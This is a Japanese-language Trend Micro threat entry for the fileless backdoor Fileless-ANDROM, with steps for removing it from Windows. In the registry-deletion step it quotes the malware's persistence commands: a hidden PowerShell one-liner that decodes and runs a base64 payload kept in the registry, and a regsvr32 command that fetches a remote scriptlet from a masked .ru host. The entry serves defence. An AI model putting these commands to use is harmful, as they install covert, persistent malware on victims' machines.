Trend Micro Security

Fileless-ANDROM

2017年8月3日
 解析者: Byron Jon Gelera   

 脅威タイプ:

ァイルを利用しないマルウェア

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: バックドア型
  • 破壊活動の有無: なし
  • 暗号化:  
  • 感染報告の有無: はい

  対応方法

対応検索エンジン: 9.850

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 4

以下のレジストリ値を削除します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。レジストリの編集前にこちらをご参照ください。

 
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • {UID} = "%System%\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\{random character}').{random character})));"
  • In HKEY_CURRENT_USER\Software\Classes\{random characters}
    • {random characters} = {base 64 encoded powershell command}
  • In HKEY_CURRENT_USER\Software\Classes\{random characters}
    • {UID} = {encrypted binary data}
  • In HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
    • WindowPosition = 4294905760
  • In HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
    • ScreenBufferSize = 65616
  • In HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
    • WindowSize = 65616
  • In HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run
    • COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml scrobj.dll"

手順 5

コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「Fileless-ANDROM」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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